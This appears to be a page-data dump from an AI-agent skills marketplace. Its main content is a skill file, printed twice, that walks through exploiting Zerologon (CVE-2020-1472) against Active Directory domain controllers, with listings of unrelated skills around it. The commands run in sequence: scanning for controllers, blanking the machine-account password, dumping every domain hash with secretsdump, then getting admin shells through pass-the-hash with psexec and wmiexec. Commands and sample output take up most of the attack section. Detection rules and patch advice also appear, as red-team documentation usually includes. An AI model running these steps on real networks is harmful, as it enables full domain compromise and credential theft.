[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6GXYRPK2FCAPYXNR08BTGXM":3,"skill-same:01M6GXYRPK2FCAPYXNR08BTGXM":104},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":48,"commitSha":49,"skillDirectory":50,"forksCount":51,"repositoryHtmlUrl":52,"repositoryHomepageUrl":6,"ownerHtmlUrl":53,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":54,"install":55,"resources":68},"01M6GXYRPK2FCAPYXNR08BTGXM","exploiting-zerologon-vulnerability-cve-2020-1472",null,"Exploit the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol to achieve domain controller compromise by resetting the machine account password to empty.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"cve","zerologon","vulnerability","exploiting zerologon vulnerability cve 2020 1472","ms-nrpc","remote","machine","active","domain","exploit","ms","password","directory","domain-controller","netlogon","cve-2020-1472","controller","escalation","active-directory","cybersecurity","2026-11-10 10:12:30",false,"---\nname: exploiting-zerologon-vulnerability-cve-2020-1472\ndescription: Exploit the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol to achieve domain controller compromise by resetting the machine account password to empty.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags: [zerologon, cve-2020-1472, netlogon, domain-controller, privilege-escalation, active-directory, ms-nrpc]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Exploiting Zerologon Vulnerability (CVE-2020-1472)\n\n## Overview\n\nZerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CVSS 10.0) in the Microsoft Netlogon Remote Protocol (MS-NRPC). The flaw exists in the cryptographic implementation of AES-CFB8 mode, where the initialization vector (IV) is incorrectly set to all zeros. This allows an unauthenticated attacker with network access to a domain controller to establish a Netlogon session and reset the DC machine account password to empty, achieving full domain compromise. Microsoft patched this vulnerability in August 2020 (KB4571694).\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting zerologon vulnerability cve 2020 1472\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Network access to a Domain Controller (TCP port 135 and dynamic RPC ports)\n- No authentication required (unauthenticated exploit)\n- Target DC must not have the February 2021 enforcement mode enabled\n- Impacket toolkit installed\n- Written authorization for red team engagement\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |\n| T1210 | Exploitation of Remote Services | Lateral Movement |\n| T1003.006 | OS Credential Dumping: DCSync | Credential Access |\n| T1078.002 | Valid Accounts: Domain Accounts | Persistence |\n\n## Vulnerability Technical Details\n\n### Root Cause\n\nThe Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:\n\n1. The IV is hardcoded to **16 bytes of zeros**\n2. When the plaintext is **8 bytes of zeros**, AES-CFB8 produces a ciphertext of **all zeros** with probability **1 in 256**\n3. An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed\n\n### Affected Systems\n\n- Windows Server 2008 R2 through Windows Server 2019\n- All domain controllers running unpatched Netlogon service\n- Samba versions \u003C 4.8 (if running as AD DC)\n\n## Step 1: Identify Vulnerable Domain Controllers\n\n```bash\n# Scan for domain controllers\nnmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0\u002F24\n\n# Check if DC is vulnerable using zerologon checker\npython3 zerologon_tester.py DC01 10.10.10.1\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.1 -M zerologon\n```\n\n## Step 2: Exploit Zerologon\n\n```bash\n# Using Impacket's CVE-2020-1472 exploit\n# This sets the DC machine account password to empty\npython3 cve_2020_1472.py DC01$ 10.10.10.1\n\n# Expected output:\n# Performing authentication attempts...\n# =========================================\n# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)\n# NetrServerPasswordSet2 call was successful\n# DC01$ machine account password set to empty string\n```\n\n## Step 3: DCSync with Empty Password\n\n```bash\n# Use the empty hash to perform DCSync\nsecretsdump.py -no-pass -just-dc corp.local\u002FDC01\\$@10.10.10.1\n\n# Output includes all domain hashes:\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::\n# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::\n# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::\n\n# Alternatively, dump specific accounts\nsecretsdump.py -no-pass corp.local\u002FDC01\\$@10.10.10.1 \\\n  -just-dc-user Administrator\n```\n\n## Step 4: Obtain Domain Admin Access\n\n```bash\n# Pass the Hash with Administrator NTLM\npsexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \\\n  corp.local\u002FAdministrator@10.10.10.1\n\n# Or use wmiexec for stealthier access\nwmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \\\n  corp.local\u002FAdministrator@10.10.10.1\n```\n\n## Step 5: Restore Machine Account Password (CRITICAL)\n\n**WARNING**: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.\n\n```bash\n# Method 1: Use the exploit's restore functionality\npython3 restorepassword.py corp.local\u002FDC01@DC01 -target-ip 10.10.10.1 \\\n  -hexpass \u003Coriginal_hex_password>\n\n# Method 2: Force machine account password change from DC\n# Connect to DC as Administrator and run:\nnetdom resetpwd \u002Fserver:DC01 \u002Fuserd:CORP\\Administrator \u002Fpasswordd:*\n\n# Method 3: Restart the DC (it will auto-regenerate machine password)\n# This is the safest method but causes downtime\n```\n\n## Detection\n\n### Windows Event Logs\n\n```\nEvent ID 4742: A computer account was changed\n- Look for: DC$ account with password change\n- Anomaly: Multiple 4742 events for DC$ in short period\n\nEvent ID 5805: Netlogon authentication failure\n- Multiple failures followed by success = Zerologon attempt\n\nEvent ID 4624 (Type 3): Network logon\n- DC$ account logging in from unexpected IP\n```\n\n### Network Detection\n\n```yaml\n# Suricata rule for Zerologon\nalert dcerpc any any -> any any (\n  msg:\"ET EXPLOIT Possible Zerologon NetrServerReqChallenge\";\n  flow:established,to_server;\n  dce_opnum:4;\n  content:\"|00 00 00 00 00 00 00 00|\";\n  sid:2030870;\n  rev:1;\n)\n```\n\n### Sigma Rule\n\n```yaml\ntitle: Zerologon Exploitation Attempt\nstatus: stable\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection:\n        EventID: 5805\n        LogonType: 3\n    timeframe: 5m\n    condition: selection | count(EventID) > 100\nlevel: critical\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2020.1472\n```\n\n## Defensive Recommendations\n\n1. **Apply patches immediately** - KB4571694 (August 2020) and enforce February 2021 mode\n2. **Enable enforcement mode** via registry: `FullSecureChannelProtection = 1`\n3. **Monitor Event ID 5805** for repeated Netlogon failures\n4. **Deploy Microsoft Defender for Identity** (detects Zerologon automatically)\n5. **Network segmentation** - Restrict direct access to DCs from user networks\n6. **Block Netlogon RPC** from non-DC systems where possible\n\n## References\n\n- CVE-2020-1472: https:\u002F\u002Fmsrc.microsoft.com\u002Fupdate-guide\u002Fvulnerability\u002FCVE-2020-1472\n- Secura Whitepaper: https:\u002F\u002Fwww.secura.com\u002Fblog\u002Fzero-logon\n- CrowdStrike Advisory: https:\u002F\u002Fwww.crowdstrike.com\u002Fblog\u002Fcve-2020-1472-zerologon-security-advisory\u002F\n- CISA Alert AA20-283A: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Fcybersecurity-advisories\u002Faa20-283a\n- Microsoft Enforcement: https:\u002F\u002Fsupport.microsoft.com\u002Fen-us\u002Ftopic\u002Fhow-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24\n","# Exploiting Zerologon Vulnerability (CVE-2020-1472)\n\n## Overview\n\nZerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CVSS 10.0) in the Microsoft Netlogon Remote Protocol (MS-NRPC). The flaw exists in the cryptographic implementation of AES-CFB8 mode, where the initialization vector (IV) is incorrectly set to all zeros. This allows an unauthenticated attacker with network access to a domain controller to establish a Netlogon session and reset the DC machine account password to empty, achieving full domain compromise. Microsoft patched this vulnerability in August 2020 (KB4571694).\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting zerologon vulnerability cve 2020 1472\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Network access to a Domain Controller (TCP port 135 and dynamic RPC ports)\n- No authentication required (unauthenticated exploit)\n- Target DC must not have the February 2021 enforcement mode enabled\n- Impacket toolkit installed\n- Written authorization for red team engagement\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |\n| T1210 | Exploitation of Remote Services | Lateral Movement |\n| T1003.006 | OS Credential Dumping: DCSync | Credential Access |\n| T1078.002 | Valid Accounts: Domain Accounts | Persistence |\n\n## Vulnerability Technical Details\n\n### Root Cause\n\nThe Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:\n\n1. The IV is hardcoded to **16 bytes of zeros**\n2. When the plaintext is **8 bytes of zeros**, AES-CFB8 produces a ciphertext of **all zeros** with probability **1 in 256**\n3. An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed\n\n### Affected Systems\n\n- Windows Server 2008 R2 through Windows Server 2019\n- All domain controllers running unpatched Netlogon service\n- Samba versions \u003C 4.8 (if running as AD DC)\n\n## Step 1: Identify Vulnerable Domain Controllers\n\n```bash\n# Scan for domain controllers\nnmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0\u002F24\n\n# Check if DC is vulnerable using zerologon checker\npython3 zerologon_tester.py DC01 10.10.10.1\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.1 -M zerologon\n```\n\n## Step 2: Exploit Zerologon\n\n```bash\n# Using Impacket's CVE-2020-1472 exploit\n# This sets the DC machine account password to empty\npython3 cve_2020_1472.py DC01$ 10.10.10.1\n\n# Expected output:\n# Performing authentication attempts...\n# =========================================\n# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)\n# NetrServerPasswordSet2 call was successful\n# DC01$ machine account password set to empty string\n```\n\n## Step 3: DCSync with Empty Password\n\n```bash\n# Use the empty hash to perform DCSync\nsecretsdump.py -no-pass -just-dc corp.local\u002FDC01\\$@10.10.10.1\n\n# Output includes all domain hashes:\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::\n# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::\n# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::\n\n# Alternatively, dump specific accounts\nsecretsdump.py -no-pass corp.local\u002FDC01\\$@10.10.10.1 \\\n  -just-dc-user Administrator\n```\n\n## Step 4: Obtain Domain Admin Access\n\n```bash\n# Pass the Hash with Administrator NTLM\npsexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \\\n  corp.local\u002FAdministrator@10.10.10.1\n\n# Or use wmiexec for stealthier access\nwmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \\\n  corp.local\u002FAdministrator@10.10.10.1\n```\n\n## Step 5: Restore Machine Account Password (CRITICAL)\n\n**WARNING**: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.\n\n```bash\n# Method 1: Use the exploit's restore functionality\npython3 restorepassword.py corp.local\u002FDC01@DC01 -target-ip 10.10.10.1 \\\n  -hexpass \u003Coriginal_hex_password>\n\n# Method 2: Force machine account password change from DC\n# Connect to DC as Administrator and run:\nnetdom resetpwd \u002Fserver:DC01 \u002Fuserd:CORP\\Administrator \u002Fpasswordd:*\n\n# Method 3: Restart the DC (it will auto-regenerate machine password)\n# This is the safest method but causes downtime\n```\n\n## Detection\n\n### Windows Event Logs\n\n```\nEvent ID 4742: A computer account was changed\n- Look for: DC$ account with password change\n- Anomaly: Multiple 4742 events for DC$ in short period\n\nEvent ID 5805: Netlogon authentication failure\n- Multiple failures followed by success = Zerologon attempt\n\nEvent ID 4624 (Type 3): Network logon\n- DC$ account logging in from unexpected IP\n```\n\n### Network Detection\n\n```yaml\n# Suricata rule for Zerologon\nalert dcerpc any any -> any any (\n  msg:\"ET EXPLOIT Possible Zerologon NetrServerReqChallenge\";\n  flow:established,to_server;\n  dce_opnum:4;\n  content:\"|00 00 00 00 00 00 00 00|\";\n  sid:2030870;\n  rev:1;\n)\n```\n\n### Sigma Rule\n\n```yaml\ntitle: Zerologon Exploitation Attempt\nstatus: stable\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection:\n        EventID: 5805\n        LogonType: 3\n    timeframe: 5m\n    condition: selection | count(EventID) > 100\nlevel: critical\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2020.1472\n```\n\n## Defensive Recommendations\n\n1. **Apply patches immediately** - KB4571694 (August 2020) and enforce February 2021 mode\n2. **Enable enforcement mode** via registry: `FullSecureChannelProtection = 1`\n3. **Monitor Event ID 5805** for repeated Netlogon failures\n4. **Deploy Microsoft Defender for Identity** (detects Zerologon automatically)\n5. **Network segmentation** - Restrict direct access to DCs from user networks\n6. **Block Netlogon RPC** from non-DC systems where possible\n\n## References\n\n- CVE-2020-1472: https:\u002F\u002Fmsrc.microsoft.com\u002Fupdate-guide\u002Fvulnerability\u002FCVE-2020-1472\n- Secura Whitepaper: https:\u002F\u002Fwww.secura.com\u002Fblog\u002Fzero-logon\n- CrowdStrike Advisory: https:\u002F\u002Fwww.crowdstrike.com\u002Fblog\u002Fcve-2020-1472-zerologon-security-advisory\u002F\n- CISA Alert AA20-283A: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Fcybersecurity-advisories\u002Faa20-283a\n- Microsoft Enforcement: https:\u002F\u002Fsupport.microsoft.com\u002Fen-us\u002Ftopic\u002Fhow-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24\n",{"name":5,"tags":43,"author":45,"domain":37,"license":14,"version":46,"subdomain":47,"description":7},[19,33,32,31,44,36,22],"privilege-escalation","mahipal","1.0","red-teaming","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add micsapp\u002Fmicstec-skills --skill exploiting-zerologon-vulnerability-cve-2020-1472",{"tool":61,"command":62},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill exploiting-zerologon-vulnerability-cve-2020-1472",{"tool":64,"command":65},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill exploiting-zerologon-vulnerability-cve-2020-1472","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002FSKILL.md",true,[69,75,80,86,90,94,100],{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"assets\u002Ftemplate.md","ASSET","资产文件",1236,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002Fassets\u002Ftemplate.md",{"path":76,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":78,"sourceHtmlUrl":79},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002FLICENSE",{"path":81,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":84,"sourceHtmlUrl":85},"references\u002Fapi-reference.md","REFERENCE","参考文档",2177,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002Freferences\u002Fapi-reference.md",{"path":87,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":88,"sourceHtmlUrl":89},"references\u002Fstandards.md",1365,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002Freferences\u002Fstandards.md",{"path":91,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":92,"sourceHtmlUrl":93},"references\u002Fworkflows.md",3720,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002Freferences\u002Fworkflows.md",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"scripts\u002Fagent.py","SCRIPT","脚本",4840,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002Fscripts\u002Fagent.py",{"path":101,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":102,"sourceHtmlUrl":103},"scripts\u002Fprocess.py",11566,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002Fscripts\u002Fprocess.py",[105,143,173,194,214,239],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":122,"publishedAt":38},"01M6HBTJ02FXBFG9NYEHHYAP52","azure-apim-architecture","Analyzes and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[112,117],{"categoryNo":113,"categoryName":114,"taxonomyType":115,"taxonomyTypeDesc":116},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":118,"categoryName":119,"taxonomyType":120,"taxonomyTypeDesc":121},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142],"architecture","azure","azure apim architecture","component","authentication","gateway","topology","Optimization","network","api","team","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode","for",{"skillNo":144,"name":145,"nameZh":6,"description":146,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":147,"categories":148,"keywords":157,"publishedAt":38},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[149,150,153,156],{"categoryNo":113,"categoryName":114,"taxonomyType":115,"taxonomyTypeDesc":116},{"categoryNo":151,"categoryName":152,"taxonomyType":115,"taxonomyTypeDesc":116},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":154,"categoryName":155,"taxonomyType":115,"taxonomyTypeDesc":116},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":118,"categoryName":119,"taxonomyType":120,"taxonomyTypeDesc":121},[158,159,160,161,124,162,163,164,165,166,167,168,132,133,139,169,170,140,171,172],"deployment","apiops deployment","workflows","azure devops","infrastructure","code","infrastructure as code","actions","ci","github actions","github-actions","as","guides","CI\u002FCD","implementing",{"skillNo":174,"name":175,"nameZh":6,"description":176,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":177,"categories":178,"keywords":180,"publishedAt":38},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[179],{"categoryNo":113,"categoryName":114,"taxonomyType":115,"taxonomyTypeDesc":116},[181,182,183,184,124,127,132,133,185,186,187,188,189,190,191,140,192,193,172,142],"policy","authoring","apim policy authoring","security","access","use","ready","api security","Access Control","error","processing","cors configuration","production-ready",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":202,"publishedAt":38},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[200,201],{"categoryNo":113,"categoryName":114,"taxonomyType":115,"taxonomyTypeDesc":116},{"categoryNo":118,"categoryName":119,"taxonomyType":120,"taxonomyTypeDesc":121},[203,184,204,132,188,205,124,158,206,207,208,209,133,210,140,211,212,213,141,142],"review","security review","api security review","benchmark","verification","owasp","owasp-api","alignment","azure security","reviews","top",{"skillNo":215,"name":216,"nameZh":6,"description":217,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":218,"categories":219,"keywords":220,"publishedAt":38},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[221,222,223,160,224,225,226,227,132,228,229,230,231,232,233,234,235,236,237,238],"cli","jira","jira cli","init","tasks","create","issues","common","work","command","edit","list","view","project","project work","token","line","sprints",{"skillNo":240,"name":241,"nameZh":6,"description":242,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":243,"categories":244,"keywords":245,"publishedAt":38},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[241,246,247,248,249,250,251,186,252,253],"npm","js","calculate","node","math","user","compute","errors"]